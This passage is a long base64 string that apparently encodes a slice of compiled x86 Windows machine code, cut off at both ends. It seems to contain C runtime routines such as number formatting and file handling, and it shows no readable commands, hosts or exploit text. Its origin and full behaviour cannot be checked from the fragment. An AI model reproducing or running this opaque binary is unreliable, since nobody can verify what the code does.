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bHM+///A/CJtbT4///oZi4AAFFR3Rwk6GwvAABZWejVVwAAiYWU+P//Pf///390Bz0AAACAdQgzwImFlPj//4mdMP7//zPbhf+JvTT+//8PlcNDiZ0s/v//hfYPiO0DAACDpZD6//8AagJex4WU+v//AAAQAIm1jPr//zveD4UAAgAAM8mLhA2Q+v//O4QNMP7//w+F6gEAAIPBBIP5CHXki4W0+P//M9KDwAKL8IPgH2ogWSvIiYWk+P//M8DB7gVAibWw+P//iY2Q+P//6EVVAACDpZz4//8ASA+9z4mFqPj///fQiYWM+P//dANB6wIzyWogWCvBjVYCOYWk+P//iZWs+P//D5fAg/pziIW7+P//D5fBg/pzdQiEwHQEsAHrAjLAhMkPhe8AAACEwA+F5wAAAGpyWTvRcgiL0YmNrPj//4vKiY2g+P//g/r/D4SWAAAAi/KNhTD+//+LlbD4//8r8o0EsImFtPj//zvKcm0783MEizjrAjP/jUb/O8NzC4uFtPj//4tA/OsCM8AjhYz4//8jvaj4//+LjZD4///T6IuNpPj//9Pni42g+P//C8eJhI0w/v//SYuFtPj//06D6ASJjaD4//+JhbT4//+D+f90CIudLP7//+uPi5Ws+P//i7Ww+P//hfZ0DIvOjb0w/v//M8Dzq4C9u/j//wC7zAEAAHQLjUIBiYUs/v//6zOJlSz+///rKzPAu8wBAABQiYWM+v//iYUs/v//jYWQ+v//UI2FMP7//1NQ6CkQAACDxBCDpZT6//8AM8lqBFhBiYWQ+v//iY2M+v//iY1c/P//UI2FkPr//1CNhWD8//9TUOjyDwAAg8QQ6VwEAACLhbT4//8z0kCL+IPgH2ogWSvIiYWw+P//M8DB7wVAib20+P//iY2Q+P//6GVTAACLjJ0s/v//SIOlnPj//wAPvcmJhaj4///30ImFjPj//3QDQesCM8lqIFgrwY0UOzmFsPj//4mVoPj//w+XwIP6c4iFu/j//w+XwYP6c3UIhMB0BLAB6wIywITJD4XsAAAAhMAPheQAAABqclk70XIIi9GJjaD4//+LwomFrPj//4P6/w+EkwAAAIvyjY0w/v//i5W0+P//K/KNDLGJjaT4//87wnJnO/NzBIs56wIz/41G/zvDcwWLQfzrAjPAI72o+P//I4WM+P//i42w+P//0+eLjZD4///T6IuNpPj//wv4i4Ws+P//g+kEiY2k+P//ibyFMP7//0hOiYWs+P//g/j/dAiLnSz+///rlYuVoPj//4u9tPj//2oCXoX/dAyLzzPAjb0w/v//86uAvbv4//8Au8wBAAB0C41CAYmFLP7//+sziZUs/v//6yszwLvMAQAAUImFjPr//4mFLP7//42FkPr//1CNhTD+//9TUOhFDgAAg8QQg6WU+v//ADPAQIm1kPr//4mFjPr//4mFXPz//2oE6Rn+//+B/gL8//8PhBkBAACDpZD6//8AagJZx4WU+v//AAAQAImNjPr//zvZD4X3AAAAM9KLhBWQ+v//O4QVMP7//w+F4QAAAIPCBIP6CHXkg6Wc+P//AA+9x3QFjVAB6wIz0mogWCvCi/E7wY2FOP7//4mFrPj//4v4D5KFu/j//zvzcwqLF4mVsPj//+sHg6Ww+P//AI1G/zvDcwWLV/zrAjPSi4Ww+P//g+8EweACweoeM9CLhaz4//9OiRCD6ASJhaz4//+D/v90CIudLP7//+utM8A4hbv4//8PlcADwSuNtPj//4v5iYUs/v//we8FjYWQ+v//i/eJjaj4///B5gJWagBQ6LLP/v+Ljaj4//8zwECD4R/T4ImENZD6//+NRwHpQAEAAIuEnSz+//+DpZz4//8AD73AdAWNSAHrAjPJaiBYK8GD+AEPksCD+3OIhbv4//8Pl8GD+3N1CITAdASwAesCMsCEyQ+FmwAAAITAD4WTAAAAanJZO9lzAovLg/n/dGmNvTD+//+L8Y08j4m9rPj//zvzcwqLF4mVsPj//+sHg6Ww+P//AI1G/zvDcwWLV/zrAjPSi4Ww+P//g+8EA8DB6h8z0IuFrPj//06JEIPoBImFrPj//4P+/3QIi50s/v//666LtbT4//+Avbv4//8AdAuNQQGJhSz+///rM4mNLP7//+srg6WM+v//AI2FkPr//4OlLP7//wBqAFCNhTD+//9ozAEAAFDo7wsAAIPEEDP/jYWQ+v//Ryv+i9/B6wWL88HmAlZqAFDoac7+/zPAg+cfQIvP0+CJhDWQ+v//jUMBiYWM+v//u8wBAACJhVz8///B4AJQjYWQ+v//UI2FYPz//1NQ6JELAACDxByLhZT4//8z0moKWYmNjPj//4XAD4hjBAAA9/GJhZD4//+LyomNnPj//4XAD4RxAwAAg/gmdgNqJlgPtgyFnscDEA+2NIWfxwMQi/mJhaT4///B5wJXjQQxiYWM+v//jYWQ+v//agBQ6L3N/v+LxsHgAlCLhaT4//8PtwSFnMcDEI0EhZi+AxBQjYWQ+v//A8dQ6ENRAACLjYz6//+DxBiJjaD4//+D+QF3eou9kPr//4X/dRMzwImFvPj//4mFXPz//+mfAgAAg/8BD4SuAgAAg71c/P//AA+EoQIAAIuFXPz//zPJiYWo+P//M/aLx/ektWD8//8DwYmEtWD8//+D0gBGi8o7taj4//914OmsAAAAiYyFYPz///+FXPz//+laAgAAg71c/P//AQ+HvgAAAIu9YPz//4vBweACUI2FkPr//4mNXPz//1CNhWD8//9TUOg3CgAAg8QQhf91GjPAiYWM+v//iYVc/P//UI2FkPr//+n1AQAAg/8BD4T9AQAAg71c/P//AA+E8AEAAIuFXPz//zPJiYWo+P//M/aLx/ektWD8//8DwYmEtWD8//+D0gBGi8o7taj4//914IXJD4S4AQAAi4Vc/P//g/hzD4I9////M8CJhYz6//+JhVz8//9QjYWQ+v//6ewBAAA7jVz8//+NvZD6//8PksCEwA+FgwAAAI29YPz//42VkPr//4mVsPj//4TAdQaLjVz8//+Jjaz4//+EwHQMi4Vc/P//iYWg+P//M9Iz9omVvPj//4XJD4QRAQAAjYXA+P//K/iJvXz4//+NBLeLhAXA+P//iYWo+P//hcB1JTvyD4XeAAAAIYS1wPj//41WAYmVvPj//+nJAAAAjZVg/P//64EzwDP/i86JhbT4//85haD4//8PhJQAAACD+XN0VzvKdReDpI3A+P//AEADxomFvPj//4uFtPj//4uVsPj//4sEgvelqPj//wPHg9IAAYSNwPj//4uFtPj//4PSAEBBiYW0+P//i/qLlbz4//87haD4//91pIX/dDSD+XMPhLQAAAA7ynURg6SNwPj//wCNQQGJhbz4//+LxzP/AYSNwPj//4uVvPj//xP/QevIg/lzD4SAAAAAi718+P//i42s+P//RjvxD4X9/v//i8KJlVz8///B4AJQjYXA+P//UI2FYPz//1NQ6BMIAACDxBCwAYTAdGyLhZD4//8rhaT4//+JhZD4//8PhZX8//+LjZz4//+FyQ+EEwUAAIs8jTTIAxCF/3VdM8CJhZz2//+JhVz8//9Q6zozwImFnPb//4mFXPz//1CNhaD2//9QjYVg/P//U1DopQcAAIPEEDLA65CDpZz2//8Ag6Vc/P//AGoAjYWg9v//UI2FYPz//+mhBAAAg/8BD4SiBAAAi4Vc/P//iYWc+P//hcAPhI4EAAAz9jPJi8f3pI1g/P//A8aJhI1g/P//g9IAQYvyO42c+P//deCF9g+EYgQAAIuFXPz//4P4cw+DS////4m0hWD8////hVz8///pQQQAAPfY9/GJhaz4//+LyomNqPj//4XAD4RMAwAAg/gmdgNqJlgPtgyFnscDEA+2NIWfxwMQi/mJhbT4///B5wJXjQQxiYWM+v//jYWQ+v//agBQ6FjJ/v+LxsHgAlCLhbT4//8PtwSFnMcDEI0EhZi+AxBQjYWQ+v//A8dQ6N5MAACLjYz6//+DxBiJjaD4//+D+QEPh5MAAACLvZD6//+F/3UaM8CJhZz2//+JhSz+//9QjYWg9v//6XICAACD/wEPhHoCAACDvSz+//8AD4RtAgAAi4Us/v//M8mJhZz4//8z9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyju1nPj//3XghckPhDUCAACLhSz+//+D+HMPg8QCAACJjIUw/v///4Us/v//6RQCAACDvSz+//8Bd3yLvTD+//+LwcHgAlCNhZD6//+JjSz+//9QjYUw/v//U1DouQUAAIPEEIX/D4Q9////g/8BD4TRAQAAg70s/v//AA+ExAEAAIuFLP7//zPJiYWc+P//M/aLx/ektTD+//8DwYmEtTD+//+D0gBGi8o7tZz4//914OlS////O40s/v//jb2Q+v//D5LAhMAPhYMAAACNvTD+//+NlZD6//+JlZD4//+EwHUGi40s/v//iY2w+P//hMB0DIuFLP7//4mFoPj//zPSM/aJlbz4//+FyQ+EEQEAAI2FwPj//yv4ib18+P//jQS3i4QFwPj//4mFnPj//4XAdSU78g+F3gAAACGEtcD4//+NVgGJlbz4///pyQAAAI2VMP7//+uBM8Az/4vOiYWk+P//OYWg+P//D4SUAAAAg/lzdFc7ynUXg6SNwPj//wBAA8aJhbz4//+LhaT4//+LlZD4//+LBIL3pZz4//8Dx4PSAAGEjcD4//+LhaT4//+D0gBAQYmFpPj//4v6i5W8+P//O4Wg+P//daSF/3Q0g/lzD4QKAQAAO8p1EYOkjcD4//8AjUEBiYW8+P//i8cz/wGEjcD4//+Llbz4//8T/0HryIP5cw+E1gAAAIu9fPj//4uNsPj//0Y78Q+F/f7//4vCiZUs/v//weACUI2FwPj//1CNhTD+//9TUOjXAwAAg8QQsAGEwA+EwQAAAIuFrPj//yuFtPj//4mFrPj//w+Fuvz//4uNqPj//4XJD4TTAAAAiwSNNMgDEImFnPj//4XAD4SYAAAAg/gBD4S1AAAAi40s/v//hckPhKcAAAAz/zP296S1MP7//wPHiYS1MP7//4uFnPj//4PSAEaL+jvxdeCF/3R/i4Us/v//g/hzc06JvIUw/v///4Us/v//62UzwFCJhZz2//+JhSz+//+NhaD2//9QjYUw/v//U1DoEwMAAIPEEDLA6Tf///+DpZz2//8Ag6Us/v//AGoA6w8zwFCJhSz+//+JhZz2//+NhaD2//9QjYUw/v//U1Do1AIAAIPEEIu9hPj//4v3i40s/v//ibW0+P//hcl0dzP2M/+LhL0w/v//agpa9+IDxomEvTD+//+D0gBHi/I7+XXhibWc+P//hfaLtbT4//90QouNLP7//4P5c3MRi8KJhI0w/v///4Us/v//6yYzwFCJhZz2//+JhSz+//+NhaD2//9QjYUw/v//U1DoRwIAAIPEEIv+jYVc/P//UI2FLP7//1Doml3//1lZagpaO8IPhZEAAAD/hZT4//+NdwGLhVz8///GBzGJtbT4//+FwA+EiwAAADP/i/AzyYuEjWD8///34moKA8eJhI1g/P//g9IAQYv6WjvOdeGLtbT4//+F/3Rci4Vc/P//g/hzcw+JvIVg/P///4Vc/P//60IzwFCJhZz2//+JhVz8//+NhaD2//9QjYVg/P//U1DolgEAAIPEEOsahcB1CYuFlPj//0jrEwQwjXcBiAeJtbT4//+LhZT4//+LjYD4//+JQQSLjYj4//+FwHgKgfn///9/dwIDyItFHEg7wXICi8EDhYT4//+JhYj4//878A+E0wAAAIuFLP7//4XAD4TFAAAAM/+L8DPJi4SNMP7//7oAypo79+IDx4mEjTD+//+D0gBBi/o7znXfi7W0+P//hf90QIuFLP7//4P4c3MPibyFMP7///+FLP7//+smM8BQi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